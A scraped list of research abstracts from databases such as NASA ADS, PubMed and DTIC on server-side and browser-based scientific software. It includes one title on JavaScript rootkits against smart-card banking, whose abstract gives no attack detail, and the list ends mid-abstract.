Roelof Versteeg; Roelof Versteeg; Trevor Rowe

2006-03-01

We describe the design and implementation of a web accessible scientific workflow system for environmental monitoring. This workflow environment integrates distributed, automated data acquisition with server side data management and information visualization through flexible browser based data access tools. Component technologies include a rich browser-based client (using dynamic Javascript and HTML/CSS) for data selection, a back-end server which uses PHP for data processing, user management, and result delivery, and third party applications which are invoked by the back-end using webservices. This environment allows for reproducible, transparent result generation by a diverse user base. It has been implemented for several monitoringmore » systems with different degrees of complexity.« less

Development of 3D browsing and interactive web system

NASA Astrophysics Data System (ADS)

Shi, Xiaonan; Fu, Jian; Jin, Chaolin

2017-09-01

In the current market, users need to download specific software or plug-ins to browse the 3D model, and browsing the system may be unstable, and it cannot be 3D model interaction issues In order to solve this problem, this paper presents a solution to the interactive browsing of the model in the server-side parsing model, and when the system is applied, the user only needs to input the system URL and upload the 3D model file to operate the browsing The server real-time parsing 3D model, the interactive response speed, these completely follows the user to walk the minimalist idea, and solves the current market block 3D content development question.

UAF: a generic OPC unified architecture framework

NASA Astrophysics Data System (ADS)

Pessemier, Wim; Deconinck, Geert; Raskin, Gert; Saey, Philippe; Van Winckel, Hans

2012-09-01

As an emerging Service Oriented Architecture (SOA) specically designed for industrial automation and process control, the OPC Unied Architecture specication should be regarded as an attractive candidate for controlling scientic instrumentation. Even though an industry-backed standard such as OPC UA can oer substantial added value to these projects, its inherent complexity poses an important obstacle for adopting the technology. Building OPC UA applications requires considerable eort, even when taking advantage of a COTS Software Development Kit (SDK). The OPC Unied Architecture Framework (UAF) attempts to reduce this burden by introducing an abstraction layer between the SDK and the application code in order to achieve a better separation of the technical and the functional concerns. True to its industrial origin, the primary requirement of the framework is to maintain interoperability by staying close to the standard specications, and by expecting the minimum compliance from other OPC UA servers and clients. UAF can therefore be regarded as a software framework to quickly and comfortably develop and deploy OPC UA-based applications, while remaining compatible to third party OPC UA-compliant toolkits, servers (such as PLCs) and clients (such as SCADA software). In the rst phase, as covered by this paper, only the client-side of UAF has been tackled in order to transparently handle discovery, session management, subscriptions, monitored items etc. We describe the design principles and internal architecture of our open-source software project, the rst results of the framework running at the Mercator Telescope, and we give a preview of the planned server-side implementation.

A Powerful, Cost Effective, Web Based Engineering Solution Supporting Conjunction Detection and Visual Analysis

NASA Astrophysics Data System (ADS)

Novak, Daniel M.; Biamonti, Davide; Gross, Jeremy; Milnes, Martin

2013-08-01

An innovative and visually appealing tool is presented for efficient all-vs-all conjunction analysis on a large catalogue of objects. The conjunction detection uses a nearest neighbour search algorithm, based on spatial binning and identification of pairs of objects in adjacent bins. This results in the fastest all vs all filtering the authors are aware of. The tool is constructed on a server-client architecture, where the server broadcasts to the client the conjunction data and ephemerides, while the client supports the user interface through a modern browser, without plug-in. In order to make the tool flexible and maintainable, Java software technologies were used on the server side, including Spring, Camel, ActiveMQ and CometD. The user interface and visualisation are based on the latest web technologies: HTML5, WebGL, THREE.js. Importance has been given on the ergonomics and visual appeal of the software. In fact certain design concepts have been borrowed from the gaming industry.

A study of kinematic cues and anticipatory performance in tennis using computational manipulation and computer graphics.

PubMed

Ida, Hirofumi; Fukuhara, Kazunobu; Kusubori, Seiji; Ishii, Motonobu

2011-09-01

Computer graphics of digital human models can be used to display human motions as visual stimuli. This study presents our technique for manipulating human motion with a forward kinematics calculation without violating anatomical constraints. A motion modulation of the upper extremity was conducted by proportionally modulating the anatomical joint angular velocity calculated by motion analysis. The effect of this manipulation was examined in a tennis situation--that is, the receiver's performance of predicting ball direction when viewing a digital model of the server's motion derived by modulating the angular velocities of the forearm or that of the elbow during the forward swing. The results showed that the faster the server's forearm pronated, the more the receiver's anticipation of the ball direction tended to the left side of the serve box. In contrast, the faster the server's elbow extended, the more the receiver's anticipation of the ball direction tended to the right. This suggests that tennis players are sensitive to the motion modulation of their opponent's racket-arm.

Design and implementation of a cloud based lithography illumination pupil processing application

NASA Astrophysics Data System (ADS)

Zhang, Youbao; Ma, Xinghua; Zhu, Jing; Zhang, Fang; Huang, Huijie

2017-02-01

Pupil parameters are important parameters to evaluate the quality of lithography illumination system. In this paper, a cloud based full-featured pupil processing application is implemented. A web browser is used for the UI (User Interface), the websocket protocol and JSON format are used for the communication between the client and the server, and the computing part is implemented in the server side, where the application integrated a variety of high quality professional libraries, such as image processing libraries libvips and ImageMagic, automatic reporting system latex, etc., to support the program. The cloud based framework takes advantage of server's superior computing power and rich software collections, and the program could run anywhere there is a modern browser due to its web UI design. Compared to the traditional way of software operation model: purchased, licensed, shipped, downloaded, installed, maintained, and upgraded, the new cloud based approach, which is no installation, easy to use and maintenance, opens up a new way. Cloud based application probably is the future of the software development.

WebBio, a web-based management and analysis system for patient data of biological products in hospital.

PubMed

Lu, Ying-Hao; Kuo, Chen-Chun; Huang, Yaw-Bin

2011-08-01

We selected HTML, PHP and JavaScript as the programming languages to build "WebBio", a web-based system for patient data of biological products and used MySQL as database. WebBio is based on the PHP-MySQL suite and is run by Apache server on Linux machine. WebBio provides the functions of data management, searching function and data analysis for 20 kinds of biological products (plasma expanders, human immunoglobulin and hematological products). There are two particular features in WebBio: (1) pharmacists can rapidly find out whose patients used contaminated products for medication safety, and (2) the statistics charts for a specific product can be automatically generated to reduce pharmacist's work loading. WebBio has successfully turned traditional paper work into web-based data management.

The Live Access Server Scientific Product Generation Through Workflow Orchestration

NASA Astrophysics Data System (ADS)

Hankin, S.; Calahan, J.; Li, J.; Manke, A.; O'Brien, K.; Schweitzer, R.

2006-12-01

The Live Access Server (LAS) is a well-established Web-application for display and analysis of geo-science data sets. The software, which can be downloaded and installed by anyone, gives data providers an easy way to establish services for their on-line data holdings, so their users can make plots; create and download data sub-sets; compare (difference) fields; and perform simple analyses. Now at version 7.0, LAS has been in operation since 1994. The current "Armstrong" release of LAS V7 consists of three components in a tiered architecture: user interface, workflow orchestration and Web Services. The LAS user interface (UI) communicates with the LAS Product Server via an XML protocol embedded in an HTTP "get" URL. Libraries (APIs) have been developed in Java, JavaScript and perl that can readily generate this URL. As a result of this flexibility it is common to find LAS user interfaces of radically different character, tailored to the nature of specific datasets or the mindset of specific users. When a request is received by the LAS Product Server (LPS -- the workflow orchestration component), business logic converts this request into a series of Web Service requests invoked via SOAP. These "back- end" Web services perform data access and generate products (visualizations, data subsets, analyses, etc.). LPS then packages these outputs into final products (typically HTML pages) via Jakarta Velocity templates for delivery to the end user. "Fine grained" data access is performed by back-end services that may utilize JDBC for data base access; the OPeNDAP "DAPPER" protocol; or (in principle) the OGC WFS protocol. Back-end visualization services are commonly legacy science applications wrapped in Java or Python (or perl) classes and deployed as Web Services accessible via SOAP. Ferret is the default visualization application used by LAS, though other applications such as Matlab, CDAT, and GrADS can also be used. Other back-end services may include generation of Google Earth layers using KML; generation of maps via WMS or ArcIMS protocols; and data manipulation with Unix utilities.

An Open-Source and Java-Technologies Approach to Web Applications

DTIC Science & Technology

2003-09-01

program for any purpose (Freedom 0). • The freedom to study how the program works, and adapt it to individual needs (Freedom 1). Access to the source...manage information for many purposes. Today a key technology that allows developers to make Web applications is server-side programming to generate a

Extensible 3D (X3D) Earth Technical Requirements Workshop Summary Report

DTIC Science & Technology

2007-08-01

world in detail already, but rarely interconnect on to another • Most interesting part of “virtual reality” (VR) is reality – which means physics... Two Web-Enabled Modeling and Simulation (WebSim) symposia have demonstrated that large partnerships can work 9. Server-side 3D graphics • Our

Computational algorithm to evaluate product disassembly cost index

NASA Astrophysics Data System (ADS)

Zeid, Ibrahim; Gupta, Surendra M.

2002-02-01

Environmentally conscious manufacturing is an important paradigm in today's engineering practice. Disassembly is a crucial factor in implementing this paradigm. Disassembly allows the reuse and recycling of parts and products that reach their death after their life cycle ends. There are many questions that must be answered before a disassembly decision can be reached. The most important question is economical. The cost of disassembly versus the cost of scrapping a product is always considered. This paper develops a computational tool that allows decision-makers to calculate the disassembly cost of a product. The tool makes it simple to perform 'what if' scenarios fairly quickly. The tool is Web based and has two main parts. The front-end part is a Web page and runs on the client side in a Web browser, while the back-end part is a disassembly engine (servlet) that has disassembly knowledge and costing algorithms and runs on the server side. The tool is based on the client/server model that is pervasively utilized throughout the World Wide Web. An example is used to demonstrate the implementation and capabilities of the tool.

QoE collaborative evaluation method based on fuzzy clustering heuristic algorithm.

PubMed

Bao, Ying; Lei, Weimin; Zhang, Wei; Zhan, Yuzhuo

2016-01-01

At present, to realize or improve the quality of experience (QoE) is a major goal for network media transmission service, and QoE evaluation is the basis for adjusting the transmission control mechanism. Therefore, a kind of QoE collaborative evaluation method based on fuzzy clustering heuristic algorithm is proposed in this paper, which is concentrated on service score calculation at the server side. The server side collects network transmission quality of service (QoS) parameter, node location data, and user expectation value from client feedback information. Then it manages the historical data in database through the "big data" process mode, and predicts user score according to heuristic rules. On this basis, it completes fuzzy clustering analysis, and generates service QoE score and management message, which will be finally fed back to clients. Besides, this paper mainly discussed service evaluation generative rules, heuristic evaluation rules and fuzzy clustering analysis methods, and presents service-based QoE evaluation processes. The simulation experiments have verified the effectiveness of QoE collaborative evaluation method based on fuzzy clustering heuristic rules.

Distributed control system for demand response by servers

NASA Astrophysics Data System (ADS)

Hall, Joseph Edward

Within the broad topical designation of smart grid, research in demand response, or demand-side management, focuses on investigating possibilities for electrically powered devices to adapt their power consumption patterns to better match generation and more efficiently integrate intermittent renewable energy sources, especially wind. Devices such as battery chargers, heating and cooling systems, and computers can be controlled to change the time, duration, and magnitude of their power consumption while still meeting workload constraints such as deadlines and rate of throughput. This thesis presents a system by which a computer server, or multiple servers in a data center, can estimate the power imbalance on the electrical grid and use that information to dynamically change the power consumption as a service to the grid. Implementation on a testbed demonstrates the system with a hypothetical but realistic usage case scenario of an online video streaming service in which there are workloads with deadlines (high-priority) and workloads without deadlines (low-priority). The testbed is implemented with real servers, estimates the power imbalance from the grid frequency with real-time measurements of the live outlet, and uses a distributed, real-time algorithm to dynamically adjust the power consumption of the servers based on the frequency estimate and the throughput of video transcoder workloads. Analysis of the system explains and justifies multiple design choices, compares the significance of the system in relation to similar publications in the literature, and explores the potential impact of the system.

Attacking of SmartCard-Based Banking Applications with JavaScript-Based Rootkits

NASA Astrophysics Data System (ADS)

Bußmeyer, Daniel; Gröbert, Felix; Schwenk, Jörg; Wegener, Christoph

Due to recent attacks on online banking systems and consequent soaring losses through fraud, different methods have been developed to ensure a secure connection between a bank and its customers. One method is the inclusion of smart card readers into these schemes, which come along with different benefits, e.g., convenience and costs, and endangerments, especially on the security side.

Toward More Equitable Outcomes: A Research Synthesis on Out-of-School Time Work with Boys and Young Men of Color

ERIC Educational Resources Information Center

Gilgoff, Jon; Ginwright, Shawn

2015-01-01

Detroit's Flip the Script afterschool program offers academic support, leadership development, and guidance from positive male mentors to young men of color ages 11-15. At Male Leadership Academy, another program in the city's West Side, youth receive similar services, including life lessons from peers and adults provided in a guest speaker…

BetaSCPWeb: side-chain prediction for protein structures using Voronoi diagrams and geometry prioritization.

PubMed

Ryu, Joonghyun; Lee, Mokwon; Cha, Jehyun; Laskowski, Roman A; Ryu, Seong Eon; Kim, Deok-Soo

2016-07-08

Many applications, such as protein design, homology modeling, flexible docking, etc. require the prediction of a protein's optimal side-chain conformations from just its amino acid sequence and backbone structure. Side-chain prediction (SCP) is an NP-hard energy minimization problem. Here, we present BetaSCPWeb which efficiently computes a conformation close to optimal using a geometry-prioritization method based on the Voronoi diagram of spherical atoms. Its outputs are visual, textual and PDB file format. The web server is free and open to all users at http://voronoi.hanyang.ac.kr/betascpweb with no login requirement. © The Author(s) 2016. Published by Oxford University Press on behalf of Nucleic Acids Research.

Pyglidein - A Simple HTCondor Glidein Service

NASA Astrophysics Data System (ADS)

Schultz, D.; Riedel, B.; Merino, G.

2017-10-01

A major challenge for data processing and analysis at the IceCube Neutrino Observatory presents itself in connecting a large set of individual clusters together to form a computing grid. Most of these clusters do not provide a “standard” grid interface. Using a local account on each submit machine, HTCondor glideins can be submitted to virtually any type of scheduler. The glideins then connect back to a main HTCondor pool, where jobs can run normally with no special syntax. To respond to dynamic load, a simple server advertises the number of idle jobs in the queue and the resources they request. The submit script can query this server to optimize glideins to what is needed, or not submit if there is no demand. Configuring HTCondor dynamic slots in the glideins allows us to efficiently handle varying memory requirements as well as whole-node jobs. One step of the IceCube simulation chain, photon propagation in the ice, heavily relies on GPUs for faster execution. Therefore, one important requirement for any workload management system in IceCube is to handle GPU resources properly. Within the pyglidein system, we have successfully configured HTCondor glideins to use any GPU allocated to it, with jobs using the standard HTCondor GPU syntax to request and use a GPU. This mechanism allows us to seamlessly integrate our local GPU cluster with remote non-Grid GPU clusters, including specially allocated resources at XSEDE supercomputers.

Database Reports Over the Internet

NASA Technical Reports Server (NTRS)

Smith, Dean Lance

2002-01-01

Most of the summer was spent developing software that would permit existing test report forms to be printed over the web on a printer that is supported by Adobe Acrobat Reader. The data is stored in a DBMS (Data Base Management System). The client asks for the information from the database using an HTML (Hyper Text Markup Language) form in a web browser. JavaScript is used with the forms to assist the user and verify the integrity of the entered data. Queries to a database are made in SQL (Sequential Query Language), a widely supported standard for making queries to databases. Java servlets, programs written in the Java programming language running under the control of network server software, interrogate the database and complete a PDF form template kept in a file. The completed report is sent to the browser requesting the report. Some errors are sent to the browser in an HTML web page, others are reported to the server. Access to the databases was restricted since the data are being transported to new DBMS software that will run on new hardware. However, the SQL queries were made to Microsoft Access, a DBMS that is available on most PCs (Personal Computers). Access does support the SQL commands that were used, and a database was created with Access that contained typical data for the report forms. Some of the problems and features are discussed below.

Web GIS in practice VIII: HTML5 and the canvas element for interactive online mapping.

PubMed

Boulos, Maged N Kamel; Warren, Jeffrey; Gong, Jianya; Yue, Peng

2010-03-03

HTML5 is being developed as the next major revision of HTML (Hypertext Markup Language), the core markup language of the World Wide Web. It aims at reducing the need for proprietary, plug-in-based rich Internet application (RIA) technologies such as Adobe Flash. The canvas element is part of HTML5 and is used to draw graphics using scripting (e.g., JavaScript). This paper introduces Cartagen, an open-source, vector-based, client-side framework for rendering plug-in-free, offline-capable, interactive maps in native HTML5 on a wide range of Web browsers and mobile phones. Cartagen was developed at MIT Media Lab's Design Ecology group. Potential applications of the technology as an enabler for participatory online mapping include mapping real-time air pollution, citizen reporting, and disaster response, among many other possibilities.

SSL - THE SIMPLE SOCKETS LIBRARY

NASA Technical Reports Server (NTRS)

Campbell, C. E.

1994-01-01

The Simple Sockets Library (SSL) allows C programmers to develop systems of cooperating programs using Berkeley streaming Sockets running under the TCP/IP protocol over Ethernet. The SSL provides a simple way to move information between programs running on the same or different machines and does so with little overhead. The SSL can create three types of Sockets: namely a server, a client, and an accept Socket. The SSL's Sockets are designed to be used in a fashion reminiscent of the use of FILE pointers so that a C programmer who is familiar with reading and writing files will immediately feel comfortable with reading and writing with Sockets. The SSL consists of three parts: the library, PortMaster, and utilities. The user of the SSL accesses it by linking programs to the SSL library. The PortMaster initializes connections between clients and servers. The PortMaster also supports a "firewall" facility to keep out socket requests from unapproved machines. The "firewall" is a file which contains Internet addresses for all approved machines. There are three utilities provided with the SSL. SKTDBG can be used to debug programs that make use of the SSL. SPMTABLE lists the servers and port numbers on requested machine(s). SRMSRVR tells the PortMaster to forcibly remove a server name from its list. The package also includes two example programs: multiskt.c, which makes multiple accepts on one server, and sktpoll.c, which repeatedly attempts to connect a client to some server at one second intervals. SSL is a machine independent library written in the C-language for computers connected via Ethernet using the TCP/IP protocol. It has been successfully compiled and implemented on a variety of platforms, including Sun series computers running SunOS, DEC VAX series computers running VMS, SGI computers running IRIX, DECstations running ULTRIX, DEC alpha AXPs running OSF/1, IBM RS/6000 computers running AIX, IBM PC and compatibles running BSD/386 UNIX and HP Apollo 3000/4000/9000/400T computers running HP-UX. SSL requires 45K of RAM to run under SunOS and 80K of RAM to run under VMS. For use on IBM PC series computers and compatibles running DOS, SSL requires Microsoft C 6.0 and the Wollongong TCP/IP package. Source code for sample programs and debugging tools are provided. The documentation is available on the distribution medium in TeX and PostScript formats. The standard distribution medium for SSL is a .25 inch streaming magnetic tape cartridge (QIC-24) in UNIX tar format. It is also available on a 3.5 inch diskette in UNIX tar format and a 5.25 inch 360K MS-DOS format diskette. The SSL was developed in 1992 and was updated in 1993.

Autoplot: a Browser for Science Data on the Web

NASA Astrophysics Data System (ADS)

Faden, J.; Weigel, R. S.; West, E. E.; Merka, J.

2008-12-01

Autoplot (www.autoplot.org) is software for plotting data from many different sources and in many different file formats. Data from CDF, CEF, Fits, NetCDF, and OpenDAP can be plotted, along with many other sources such as ASCII tables and Excel spreadsheets. This is done by adapting these various data formats and APIs into a common data model that borrows from the netCDF and CDF data models. Autoplot uses a web browser metaphor to simplify use. The user specifies a parameter URL, for example a CDF file accessible via http with a parameter name appended, and the file resource is downloaded and the parameter is rendered in a scientifically meaningful way. When data span multiple files, the user can use a file name template in the URL to aggregate (combine) a set of remote files. So the problem of aggregating data across file boundaries is handled on the client side, allowing simple web servers to be used. The das2 graphics library provides rich controls for exploring the data. Scripting is supported through Python, providing not just programmatic control, but for calculating new parameters in a language that will look familiar to IDL and Matlab users. Autoplot is Java-based software, and will run on most computers without a burdensome installation process. It can also used as an applet or as a servlet that serves static images. Autoplot was developed as part of the Virtual Radiation Belt Observatory (ViRBO) project, and is also being used for the Virtual Magnetospheric Observatory (VMO). It is expected that this flexible, general-purpose plotting tool will be useful for allowing a data provider to add instant visualization capabilities to a directory of files or for general use in the Virtual Observatory environment.

A public HTLV-1 molecular epidemiology database for sequence management and data mining.

PubMed

Araujo, Thessika Hialla Almeida; Souza-Brito, Leandro Inacio; Libin, Pieter; Deforche, Koen; Edwards, Dustin; de Albuquerque-Junior, Antonio Eduardo; Vandamme, Anne-Mieke; Galvao-Castro, Bernardo; Alcantara, Luiz Carlos Junior

2012-01-01

It is estimated that 15 to 20 million people are infected with the human T-cell lymphotropic virus type 1 (HTLV-1). At present, there are more than 2,000 unique HTLV-1 isolate sequences published. A central database to aggregate sequence information from a range of epidemiological aspects including HTLV-1 infections, pathogenesis, origins, and evolutionary dynamics would be useful to scientists and physicians worldwide. Described here, we have developed a database that collects and annotates sequence data and can be accessed through a user-friendly search interface. The HTLV-1 Molecular Epidemiology Database website is available at http://htlv1db.bahia.fiocruz.br/. All data was obtained from publications available at GenBank or through contact with the authors. The database was developed using Apache Webserver 2.1.6 and SGBD MySQL. The webpage interfaces were developed in HTML and sever-side scripting written in PHP. The HTLV-1 Molecular Epidemiology Database is hosted on the Gonçalo Moniz/FIOCRUZ Research Center server. There are currently 2,457 registered sequences with 2,024 (82.37%) of those sequences representing unique isolates. Of these sequences, 803 (39.67%) contain information about clinical status (TSP/HAM, 17.19%; ATL, 7.41%; asymptomatic, 12.89%; other diseases, 2.17%; and no information, 60.32%). Further, 7.26% of sequences contain information on patient gender while 5.23% of sequences provide the age of the patient. The HTLV-1 Molecular Epidemiology Database retrieves and stores annotated HTLV-1 proviral sequences from clinical, epidemiological, and geographical studies. The collected sequences and related information are now accessible on a publically available and user-friendly website. This open-access database will support clinical research and vaccine development related to viral genotype.

Interactive Scripting for Analysis and Visualization of Arbitrarily Large, Disparately Located Climate Data Ensembles Using a Progressive Runtime Server

NASA Astrophysics Data System (ADS)

Christensen, C.; Summa, B.; Scorzelli, G.; Lee, J. W.; Venkat, A.; Bremer, P. T.; Pascucci, V.

2017-12-01

Massive datasets are becoming more common due to increasingly detailed simulations and higher resolution acquisition devices. Yet accessing and processing these huge data collections for scientific analysis is still a significant challenge. Solutions that rely on extensive data transfers are increasingly untenable and often impossible due to lack of sufficient storage at the client side as well as insufficient bandwidth to conduct such large transfers, that in some cases could entail petabytes of data. Large-scale remote computing resources can be useful, but utilizing such systems typically entails some form of offline batch processing with long delays, data replications, and substantial cost for any mistakes. Both types of workflows can severely limit the flexible exploration and rapid evaluation of new hypotheses that are crucial to the scientific process and thereby impede scientific discovery. In order to facilitate interactivity in both analysis and visualization of these massive data ensembles, we introduce a dynamic runtime system suitable for progressive computation and interactive visualization of arbitrarily large, disparately located spatiotemporal datasets. Our system includes an embedded domain-specific language (EDSL) that allows users to express a wide range of data analysis operations in a simple and abstract manner. The underlying runtime system transparently resolves issues such as remote data access and resampling while at the same time maintaining interactivity through progressive and interruptible processing. Computations involving large amounts of data can be performed remotely in an incremental fashion that dramatically reduces data movement, while the client receives updates progressively thereby remaining robust to fluctuating network latency or limited bandwidth. This system facilitates interactive, incremental analysis and visualization of massive remote datasets up to petabytes in size. Our system is now available for general use in the community through both docker and anaconda.

Isomorphic semantic mapping of variant call format (VCF2RDF).

PubMed

Penha, Emanuel Diego S; Iriabho, Egiebade; Dussaq, Alex; de Oliveira, Diana Magalhães; Almeida, Jonas S

2017-02-15

The move of computational genomics workflows to Cloud Computing platforms is associated with a new level of integration and interoperability that challenges existing data representation formats. The Variant Calling Format (VCF) is in a particularly sensitive position in that regard, with both clinical and consumer-facing analysis tools relying on this self-contained description of genomic variation in Next Generation Sequencing (NGS) results. In this report we identify an isomorphic map between VCF and the reference Resource Description Framework. RDF is advanced by the World Wide Web Consortium (W3C) to enable representations of linked data that are both distributed and discoverable. The resulting ability to decompose VCF reports of genomic variation without loss of context addresses the need to modularize and govern NGS pipelines for Precision Medicine. Specifically, it provides the flexibility (i.e. the indexing) needed to support the wide variety of clinical scenarios and patient-facing governance where only part of the VCF data is fitting. Software libraries with a claim to be both domain-facing and consumer-facing have to pass the test of portability across the variety of devices that those consumers in fact adopt. That is, ideally the implementation should itself take place within the space defined by web technologies. Consequently, the isomorphic mapping function was implemented in JavaScript, and was tested in a variety of environments and devices, client and server side alike. These range from web browsers in mobile phones to the most popular micro service platform, NodeJS. The code is publicly available at https://github.com/ibl/VCFr , with a live deployment at: http://ibl.github.io/VCFr/ . jonas.almeida@stonybrookmedicine.edu. © The Author 2016. Published by Oxford University Press. All rights reserved. For Permissions, please e-mail: journals.permissions@oup.com

Integrated multimodal human-computer interface and augmented reality for interactive display applications

NASA Astrophysics Data System (ADS)

Vassiliou, Marius S.; Sundareswaran, Venkataraman; Chen, S.; Behringer, Reinhold; Tam, Clement K.; Chan, M.; Bangayan, Phil T.; McGee, Joshua H.

2000-08-01

We describe new systems for improved integrated multimodal human-computer interaction and augmented reality for a diverse array of applications, including future advanced cockpits, tactical operations centers, and others. We have developed an integrated display system featuring: speech recognition of multiple concurrent users equipped with both standard air- coupled microphones and novel throat-coupled sensors (developed at Army Research Labs for increased noise immunity); lip reading for improving speech recognition accuracy in noisy environments, three-dimensional spatialized audio for improved display of warnings, alerts, and other information; wireless, coordinated handheld-PC control of a large display; real-time display of data and inferences from wireless integrated networked sensors with on-board signal processing and discrimination; gesture control with disambiguated point-and-speak capability; head- and eye- tracking coupled with speech recognition for 'look-and-speak' interaction; and integrated tetherless augmented reality on a wearable computer. The various interaction modalities (speech recognition, 3D audio, eyetracking, etc.) are implemented a 'modality servers' in an Internet-based client-server architecture. Each modality server encapsulates and exposes commercial and research software packages, presenting a socket network interface that is abstracted to a high-level interface, minimizing both vendor dependencies and required changes on the client side as the server's technology improves.

Alignment-Annotator web server: rendering and annotating sequence alignments.

PubMed

Gille, Christoph; Fähling, Michael; Weyand, Birgit; Wieland, Thomas; Gille, Andreas

2014-07-01

Alignment-Annotator is a novel web service designed to generate interactive views of annotated nucleotide and amino acid sequence alignments (i) de novo and (ii) embedded in other software. All computations are performed at server side. Interactivity is implemented in HTML5, a language native to web browsers. The alignment is initially displayed using default settings and can be modified with the graphical user interfaces. For example, individual sequences can be reordered or deleted using drag and drop, amino acid color code schemes can be applied and annotations can be added. Annotations can be made manually or imported (BioDAS servers, the UniProt, the Catalytic Site Atlas and the PDB). Some edits take immediate effect while others require server interaction and may take a few seconds to execute. The final alignment document can be downloaded as a zip-archive containing the HTML files. Because of the use of HTML the resulting interactive alignment can be viewed on any platform including Windows, Mac OS X, Linux, Android and iOS in any standard web browser. Importantly, no plugins nor Java are required and therefore Alignment-Anotator represents the first interactive browser-based alignment visualization. http://www.bioinformatics.org/strap/aa/ and http://strap.charite.de/aa/. © The Author(s) 2014. Published by Oxford University Press on behalf of Nucleic Acids Research.

Alignment-Annotator web server: rendering and annotating sequence alignments

PubMed Central

Gille, Christoph; Fähling, Michael; Weyand, Birgit; Wieland, Thomas; Gille, Andreas

2014-01-01

Alignment-Annotator is a novel web service designed to generate interactive views of annotated nucleotide and amino acid sequence alignments (i) de novo and (ii) embedded in other software. All computations are performed at server side. Interactivity is implemented in HTML5, a language native to web browsers. The alignment is initially displayed using default settings and can be modified with the graphical user interfaces. For example, individual sequences can be reordered or deleted using drag and drop, amino acid color code schemes can be applied and annotations can be added. Annotations can be made manually or imported (BioDAS servers, the UniProt, the Catalytic Site Atlas and the PDB). Some edits take immediate effect while others require server interaction and may take a few seconds to execute. The final alignment document can be downloaded as a zip-archive containing the HTML files. Because of the use of HTML the resulting interactive alignment can be viewed on any platform including Windows, Mac OS X, Linux, Android and iOS in any standard web browser. Importantly, no plugins nor Java are required and therefore Alignment-Anotator represents the first interactive browser-based alignment visualization. Availability: http://www.bioinformatics.org/strap/aa/ and http://strap.charite.de/aa/. PMID:24813445

Spatial decision supporting for winter wheat irrigation and fertilizer optimizing in North China Plain

NASA Astrophysics Data System (ADS)

Yang, Xiaodong; Yang, Hao; Dong, Yansheng; Yu, Haiyang

2014-11-01

Production management of winter wheat is more complicated than other crops since its growth period is covered all four seasons and growth environment is very complex with frozen injury, drought, insect or disease injury and others. In traditional irrigation and fertilizer management, agricultural technicians or farmers mainly make decision based on phenology, planting experience to carry out artificial fertilizer and irrigation management. For example, wheat needs more nitrogen fertilizer in jointing and booting stage by experience, then when the wheat grow to the two growth periods, the farmer will fertilize to the wheat whether it needs or not. We developed a spatial decision support system for optimizing irrigation and fertilizer measures based on WebGIS, which monitoring winter wheat growth and soil moisture content by combining a crop model, remote sensing data and wireless sensors data, then reasoning professional management schedule from expert knowledge warehouse. This system is developed by ArcIMS, IDL in server-side and JQuery, Google Maps API, ASP.NET in client-side. All computing tasks are run on server-side, such as computing 11 normal vegetable indexes (NDVI/ NDWI/ NDWI2/ NRI/ NSI/ WI/ G_SWIR/ G_SWIR2/ SPSI/ TVDI/ VSWI) and custom VI of remote sensing image by IDL; while real-time building map configuration file and generating thematic map by ArcIMS.

Building an FTP guard

DOE Office of Scientific and Technical Information (OSTI.GOV)

Sands, P.D.

1998-08-01

Classified designs usually include lesser classified (including unclassified) components. An engineer working on such a design needs access to the various sub-designs at lower classification levels. For simplicity, the problem is presented with only two levels: high and low. If the low-classification component designs are stored in the high network, they become inaccessible to persons working on a low network. In order to keep the networks separate, the component designs may be duplicated in all networks, resulting in a synchronization problem. Alternatively, they may be stored in the low network and brought into the high network when needed. The lattermore » solution results in the use of sneaker-net (copying the files from the low system to a tape and carrying the tape to a high system) or a file transfer guard. This paper shows how an FTP Guard was constructed and implemented without degrading the security of the underlying B3 platform. The paper then shows how the guard can be extended to an FTP proxy server or an HTTP proxy server. The extension is accomplished by allowing the high-side user to select among items that already exist on the low-side. No high-side data can be directly compromised by the extension, but a mechanism must be developed to handle the low-bandwidth covert channel that would be introduced by the application.« less

The EarthServer project: Exploiting Identity Federations, Science Gateways and Social and Mobile Clients for Big Earth Data Analysis

NASA Astrophysics Data System (ADS)

Barbera, Roberto; Bruno, Riccardo; Calanducci, Antonio; Messina, Antonio; Pappalardo, Marco; Passaro, Gianluca

2013-04-01

The EarthServer project (www.earthserver.eu), funded by the European Commission under its Seventh Framework Program, aims at establishing open access and ad-hoc analytics on extreme-size Earth Science data, based on and extending leading-edge Array Database technology. The core idea is to use database query languages as client/server interface to achieve barrier-free "mix & match" access to multi-source, any-size, multi-dimensional space-time data -- in short: "Big Earth Data Analytics" - based on the open standards of the Open Geospatial Consortium Web Coverage Processing Service (OGC WCPS) and the W3C XQuery. EarthServer combines both, thereby achieving a tight data/metadata integration. Further, the rasdaman Array Database System (www.rasdaman.com) is extended with further space-time coverage data types. On server side, highly effective optimizations - such as parallel and distributed query processing - ensure scalability to Exabyte volumes. Six Lighthouse Applications are being established in EarthServer, each of which poses distinct challenges on Earth Data Analytics: Cryospheric Science, Airborne Science, Atmospheric Science, Geology, Oceanography, and Planetary Science. Altogether, they cover all Earth Science domains; the Planetary Science use case has been added to challenge concepts and standards in non-standard environments. In addition, EarthLook (maintained by Jacobs University) showcases use of OGC standards in 1D through 5D use cases. In this contribution we will report on the first applications integrated in the EarthServer Science Gateway and on the clients for mobile appliances developed to access them. We will also show how federated and social identity services can allow Big Earth Data Providers to expose their data in a distributed environment keeping a strict and fine-grained control on user authentication and authorisation. The degree of fulfilment of the EarthServer implementation with the recommendations made in the recent TERENA Study on AAA Platforms For Scientific Resources in Europe (https://confluence.terena.org/display/aaastudy/AAA+Study+Home+Page) will also be assessed.

SU-G-TeP4-06: An Integrated Application for Radiation Therapy Treatment Plan Directives, Management, and Reporting

DOE Office of Scientific and Technical Information (OSTI.GOV)

Matuszak, M; Anderson, C; Lee, C

Purpose: With electronic medical records, patient information for the treatment planning process has become disseminated across multiple applications with limited quality control and many associated failure modes. We present the development of a single application with a centralized database to manage the planning process. Methods: The system was designed to replace current functionalities of (i) static directives representing the physician intent for the prescription and planning goals, localization information for delivery, and other information, (ii) planning objective reports, (iii) localization and image guidance documents and (iv) the official radiation therapy prescription in the medical record. Using the Eclipse Scripting Applicationmore » Programming Interface, a plug-in script with an associated domain-specific SQL Server database was created to manage the information in (i)–(iv). The system’s user interface and database were designed by a team of physicians, clinical physicists, database experts, and software engineers to ensure usability and robustness for clinical use. Results: The resulting system has been fully integrated within the TPS via a custom script and database. Planning scenario templates, version control, approvals, and logic-based quality control allow this system to fully track and document the planning process as well as physician approval of tradeoffs while improving the consistency of the data. Multiple plans and prescriptions are supported along with non-traditional dose objectives and evaluation such as biologically corrected models, composite dose limits, and management of localization goals. User-specific custom views were developed for the attending 